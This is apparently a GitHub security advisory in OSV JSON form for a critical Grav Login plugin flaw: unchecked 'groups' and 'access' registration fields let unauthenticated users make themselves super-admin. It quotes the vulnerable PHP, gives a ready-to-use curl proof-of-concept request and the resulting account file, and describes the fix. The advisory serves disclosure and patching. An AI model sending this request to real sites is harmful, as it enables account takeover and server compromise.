Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0-beta.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42613"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:26:06Z",
    "nvd_published_at": "2026-05-11T16:17:34Z",
    "severity": "CRITICAL"
  },
  "details": "# Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access\n\n## Summary\n\nThe `Login::register()` method in the Login plugin accepts attacker-controlled `groups` and `access` fields from the registration POST data without server-side validation. When registration is enabled and `groups` or `access` are included in the configured allowed fields list, an unauthenticated user can self-register with `admin.super` privileges by injecting these fields into the registration request.\n\nThis is a missing server-side validation issue \u2014 the only defense is a config-level `fields` allowlist, which is an admin-facing setting, not a hardcoded security boundary.\n\n## Affected Component\n\n- **File:** `user/plugins/login/classes/Login.php`, lines 246-306\n- **Method:** `Login::register()`\n- **Validation:** `Login::validateField()`, lines 363-432\n- **Plugin:** Login Plugin 3.8.0\n- **Grav:** 1.8.0-beta.29\n\n## Root Cause\n\nIn `register()` (lines 254-267), the `groups` and `access` fields are only set to config defaults **if they are not already present in the input data**:\n\n```php\n// Line 254-260\nif (!isset($data[\u0027groups\u0027])) {\n    $groups = (array) $this-\u003econfig-\u003eget(\u0027plugins.login.user_registration.groups\u0027, []);\n    if (count($groups) \u003e 0) {\n        $data[\u0027groups\u0027] = $groups;\n    }\n}\n\n// Line 262-267\nif (!isset($data[\u0027access\u0027])) {\n    $access = (array) $this-\u003econfig-\u003eget(\u0027plugins.login.user_registration.access.site\u0027, []);\n    if (count($access) \u003e 0) {\n        $data[\u0027access\u0027][\u0027site\u0027] = $access;\n    }\n}\n```\n\nIf an attacker **includes** `groups` or `access` in the POST body, the `!isset()` check passes and the config defaults are skipped. The attacker\u0027s values flow through unchanged.\n\nLater (lines 298-303), these values are assigned directly to the user object:\n\n```php\nif (isset($data[\u0027groups\u0027])) {\n    $user-\u003egroups = $data[\u0027groups\u0027];  // attacker-controlled\n}\nif (isset($data[\u0027access\u0027])) {\n    $user-\u003eaccess = $data[\u0027access\u0027];  // attacker-controlled\n}\n$user-\u003esave();\n```\n\nThe `validateField()` method (lines 363-432) has a `switch` statement that only validates: `username`, `password`, `password2`, `email`, `permissions`, `state`, and `language`. The `groups` and `access` fields pass through the `default` case with **no validation at all**.\n\n## Precondition\n\nRegistration must be enabled with `groups` and/or `access` in the configured allowed fields:\n\n```yaml\n# user/config/plugins/login.yaml\nuser_registration:\n  enabled: true\n  fields:\n    - username\n    - password\n    - email\n    - fullname\n    - groups    # \u2190 enables the attack\n    - access    # \u2190 enables the attack\n```\n\nThis is a configuration the admin UI allows without any warning. An admin adding `groups` to let users pick a non-privileged group (e.g., `editors`) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.\n\n## Proof of Concept\n\n### Malicious registration request (unauthenticated):\n\n```bash\ncurl -X POST \"${TARGET}/user_register\" \\\n  --data-urlencode \"data[username]=attacker\" \\\n  --data-urlencode \"data[password1]=Str0ngP@ss!\" \\\n  --data-urlencode \"data[password2]=Str0ngP@ss!\" \\\n  --data-urlencode \"data[email]=attacker@evil.com\" \\\n  --data-urlencode \"data[fullname]=Attacker\" \\\n  --data-urlencode \"data[groups][]=admins\" \\\n  --data-urlencode \"data[access][admin][login]=true\" \\\n  --data-urlencode \"data[access][admin][super]=true\" \\\n  --data-urlencode \"data[access][site][login]=true\" \\\n  --data-urlencode \"form-nonce=${FORM_NONCE}\" \\\n  --data-urlencode \"__form-name__=user_register\" \\\n  --data-urlencode \"__unique_form_id__=${FORM_UID}\"\n```\n\n### Resulting account file (`user/accounts/attacker.yaml`):\n\n```yaml\nemail: attacker@evil.com\nfullname: Attacker\ngroups:\n  - admins\naccess:\n  admin:\n    login: true\n    super: true\n  site:\n    login: true\nhashed_password: ...\nstate: enabled\n```\n\nThe attacker can then log into `/admin` with full super-admin privileges.\n\n## Impact\n\n- **Severity:** Critical (when precondition is met)\n- **Vector:** Unauthenticated \u2192 Super Admin\n- **Escalation:** Full admin panel access, which chains to RCE via known admin vectors https://github.com/getgrav/grav/security/advisories/GHSA-4fg4-8cr8-326m or Plugin Upload\n- **Precondition:** Registration enabled with `groups` or `access` in allowed fields \u2014 a configuration the admin UI permits without warning\n\n\n## Environment\n\n- Grav Core: 1.8.0-beta.29\n- Login Plugin: 3.8.0\n- PHP: 8.4.11\n\n## Credits\n\nJonathan Dersch at Hacking Cult GmbH https://hackingcult.de/\n\n\n\n---\n\n## Maintainer note \u2014 fix applied (2026-04-24)\n\nFixed in **grav-plugin-login 3.8.2** (commit [`3d419a0`](https://github.com/getgrav/grav-plugin-login/commit/3d419a0)). On the Grav 2.0 line, the login plugin is pinned at `\u003e=3.8.2` by admin2\u0027s [`blueprints.yaml`](https://github.com/getgrav/grav-plugin-admin2/blob/develop/blueprints.yaml), so sites running admin2 with Grav **2.0.0-beta.2** pick the fix up automatically.\n\n**What changed:** the registration form handler now explicitly skips the `groups` and `access` privilege fields in the per-field input loop \u2014 even if an administrator added them to `user_registration.fields`. A warning is logged on any attempted injection. Server-side `default_values`, invitations, and the `user_registration.{groups,access}` config remain the sole sources of those values.\n\n**Files:**\n- [`login.php`](https://github.com/getgrav/grav-plugin-login/blob/develop/login.php) \u2014 form handler privilege-field strip.",
  "id": "GHSA-pxm6-mhxr-q4mj",
  "modified": "2026-05-13T13:52:14Z",
  "published": "2026-05-05T21:26:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-pxm6-mhxr-q4mj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-w48r-jppp-rcfw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42613"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav-plugin-login/commit/3d419a0dabd70aed1fd49afcd5919004a4141da1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access"
}